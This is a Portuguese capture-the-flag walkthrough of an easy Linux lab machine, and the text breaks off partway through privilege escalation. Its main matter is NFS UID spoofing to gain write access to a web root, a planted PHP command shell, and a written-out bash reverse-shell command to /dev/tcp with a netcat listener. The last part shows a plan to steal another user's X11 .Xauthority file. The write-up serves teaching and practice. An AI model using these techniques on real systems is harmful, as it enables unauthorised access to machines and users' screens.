Máquina Linux fácil onde exploramos uma falha de configuração presente em compartilhamentos NFS que nos permitiu imitar usuários, o que posteriormente nos levou a acessar arquivos que não deveríamos. Por fim, tiramos uma captura de tela de outro usuário através do software x11, de modo que pudemos escalar privilégios obtendo uma shell como root.
Reconhecimento de Rede
Verificando a conectividade via Ping
A primeira ação para reconhecimento do alvo é testar a conectividade com ele, utilizando o comando ping. Ao enviar um pacote ICMP, podemos confirmar se a máquina alvo está acessível na rede.
No retorno, o TTL de 63 é uma indicação de que possivelmente estamos lidando com um sistema Linux. O TTL inicial para sistemas Linux costuma ser 64, e o valor observado no ping geralmente é reduzido conforme os pacotes atravessam roteadores na rede. Como o TTL está próximo de 64, é provável que o sistema alvo seja uma máquina Linux.
attacker> ping-c110.10.11.191PING10.10.11.191 (10.10.11.191) 56(84) bytes of data.64bytesfrom10.10.11.191:icmp_seq=1ttl=63time=168ms---10.10.11.191pingstatistics---1packetstransmitted,1received,0%packetloss,time0msrttmin/avg/max/mdev=167.961/167.961/167.961/0.000ms
Varredura de Portas e Serviços
Em seguida, executei um escaneamento de porta no alvo para identificar quaisquer portas abertas que pudessem ser usadas para novos ataques. Usei a ferramenta rustscan para verificar todas as portas (1-65535) no alvo. A varredura revelou a porta 80 HTTP aberta rodando um Apache 2.4.41 em um Linux Ubuntu, além das portas 22 SSH e 2049 NFS.
Como há muitas portas abertas, para uma melhor visualização utilizei a ferramenta nmap-bootstrap, que transforma a saída xml do nmap em um arquivo html com visual melhorado.
Após a leitura do TTL do ping e da saída do nmap, sabemos que o alvo é um Linux Ubuntu. Para ampliar nossa enumeração a respeito do sistema operacional, podemos consultar as versões SSH e Apache neste caso para obter mais detalhes sobre qual distribuição está em uso através do site da launchpad.
apache2 2.4.41-1ubuntu1 (amd64 binary) in ubuntu focal
Neste caso, ambos os serviços fazem referência à distribuição Ubuntu Focal. Esta detecção é útil para ter uma ideia se o alvo utiliza algum container, por exemplo, caso os serviços retornam distribuições diferentes, então é algo útil a ter em mente durante a fase de enumeração.
HTTP (80) Enumeration
Em seguida, procedi a enumerar o serviço HTTP usando a ferramenta whatweb para coletar informações sobre o software e a versão do servidor web. A saída mostra que na porta 80 há um servidor web Apache/2.4.41. Nada diferente do que obtemos com nmap anteriormente.
Navegando na porta 80, temos o website de uma loja de móveis.
A princípio não há nada chamativo neste site, sendo preciso que façamos alguma descoberta de conteúdo para obter mais informação, mas por enquanto, como também temos o serviço NFS exposto, vamos enumerá-lo, se necessário, voltamos ao HTTP.
NFS (2049) Enumeration
Listando as montagens presentes no NFS podemos ver que temos a presença de dois diretórios do alvo, /home/ross e /var/www/html.
Olhando a estrutura dos diretórios montados, vemos que em alguns deles não temos permissão de acesso, mas o que chama atenção é a presença do arquivo Passwords.kdbx.
Passwords.kdbx é provavelmente o nome de um arquivo de banco de dados de senhas criado com o software de gerenciamento de senhas Keepass. Podemos até tentar abri-lo, mas será solicitada uma senha mestra que não temos até o momento.
Partindo para a montagem do servidor web, temos alguns arquivos com o ID 2017 atribuído, aos quais não temos acesso porque nosso usuário na máquina atacante não tem esse ID.
Algumas vezes haverá arquivos/diretórios na montagem aos quais você não terá acesso porque eles têm uma identificação atribuída que existe na máquina alvo, mas não existe na máquina atacante. Para burlar isso, podemos listar o ID do arquivo/diretório e então, na máquina atacante, atribuir esse mesmo ID a um novo usuário, para que possamos acessar e manipular o arquivo/diretório "fingindo" ser um usuário com permissão de acesso baseada no ID que imitamos.
Então vamos criar um usuário (john) em nossa máquina atacante e associá-lo o ID 2017.
Existe um index.html, se nós dermos um grep neste arquivo com o mesmo título do site de móveis presente na porta 80, vemos que ele tem o mesmo título. Assim, podemos imaginar que esta montagem é referente ao website presente na porta 80.
Como PoC para validar esta hipótese, podemos criar um arquivo test.txt na montagem e ver se ele reflete na porta 80.
john:/mnt/html> echo'Hello World'>test.txt
Indo até o webserver procurando por este arquivo que criamos, vemos que ele aparece, ou seja, existe de fato uma conexão entre a montagem e o servidor web.
Gaining Access
Com o wappalyzer podemos ver que o servidor web interpreta a linguagem PHP, de modo que podemos criar um arquivo PHP malicioso na montagem do servidor web para que possamos executar comandos remotamente no alvo.
Uma vez que este arquivo esteja no servidor web, tudo que temos que fazer é acessá-lo no navegador e com o parâmetro ?cmd= podemos executar comandos no alvo.
Portanto, tudo o que temos que fazer é nos colocar em escuta na máquina atacante com netcat e nos enviar uma reverse shell com o comando bash -c "bash -i >%26 /dev/tcp//443 0>%261". Assim, ganhamos acesso ao alvo.
attacker> nc-nlvp443listeningon [any] 443 ...connectto [10.10.14.75] from (UNKNOWN) [10.10.11.191] 53574bash:cannotsetterminalprocessgroup (1084): Inappropriate ioctl for devicebash:nojobcontrolinthisshellalex@squashed:/var/www/html$hostname-I; idhostname-I; id10.10.11.191dead:beef::250:56ff:feb9:52e6uid=2017(alex) gid=2017(alex) groups=2017(alex)
Upgrade da Shell
Após obter o acesso inicial com o shell reverso, o próximo passo foi melhorar a interatividade da shell para garantir que tivéssemos um controle mais robusto sobre o sistema alvo.
Gerando um console bash em segundo plano: Para garantir que tivéssemos um bash funcional, foi necessário criar um processo de bash através do comando script, que abre uma sessão interativa mais apropriada, logo após, colocamos em background com CTRL+Z:
Verificando as dimensões do terminal na máquina atacante: Antes de ajustar o terminal no alvo, verificamos as dimensões da janela na máquina atacante para mantê-las iguais:
attacker> sttysize53209
Resetando o terminal no alvo: Após isso, resetei o terminal do alvo com uma nova TTY:
attacker> sttyraw-echo; fg[1] + continued nc -nlvp 443resetxterm
Definindo dimensões e variáveis de ambiente: Com o terminal tratado, exportei as variáveis de ambiente e ajustei as dimensões corretamente:
Agora que temos um console estabilizado, com o comando lsb_release -a vemos que de fato a distribuição do alvo é um Linux Ubuntu Focal, como indicava o launchpad.
Podemos iniciar nossa etapa de internal discovery do alvo buscando quais usuários possuem alguma shell no sistema checando o arquivo /etc/passwd. Nele vemos a presença de 2 usuários, alex, com quem estamos logados, e ross.
Com essa flag, concluímos o primeiro objetivo do CTF e podemos passar para a próxima etapa de escalar privilégios para obter acesso a flag root.txt.
Privilege Escalation
Listando o diretório /home/ross vemos que é a mesma estrutura da montagem que fizemos na máquina do atacante, e que nele contém o arquivo .Xauthority com ID 1001.
A visualização do arquivo .Xauthority de outro usuário é crítica porque se este usuário estiver logado na máquina ao mesmo tempo que o atacante, é possível que o atacante veja a tela dele.
Para ver quais telas estão conectadas à máquina alvo, podemos usar o comando w. Vemos que o user ross está logado usando o display :0.
Se buscarmos Pentesting x11 no Hacktricks, podemos ver como tirar uma captura da tela do alvo. Ao executar alguns comandos de enumeração para x11 como xdpyinfo e xwininfo, é retornado um erro de protocolo.
Isto porque ao usuário alex não é atribuído um ID com permissão para ler o arquivo .Xauthority, mas podemos usar a mesma lógica que usamos para imitar o ID dos arquivos no diretório do servidor web em nossa máquina atacante, mas desta vez com a montagem que está refletindo este diretório de ross.
De volta à nossa máquina atacante, podemos criar um novo usuário que tenha o ID 1001, necessário para ter permissões sob o arquivo .Xauthority de ross na máquina alvo.
Ao migrar para john2, temos em seu ID de usuário (UID) o valor 1001, imitando o mesmo ID necessário na máquina alvo para visualizar o arquivo .Xauthority.
No entanto, no alvo estamos logados como alex, e seu .Xauthority é diferente do .Xauthority de ross. Para que o alex tenha o mesmo .Xauthority que o ross, podemos subir um servidor HTTP da máquina atacante e transferir o .Xauthority do ross para o alex usando o wget.
john2:/mnt/ross> python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
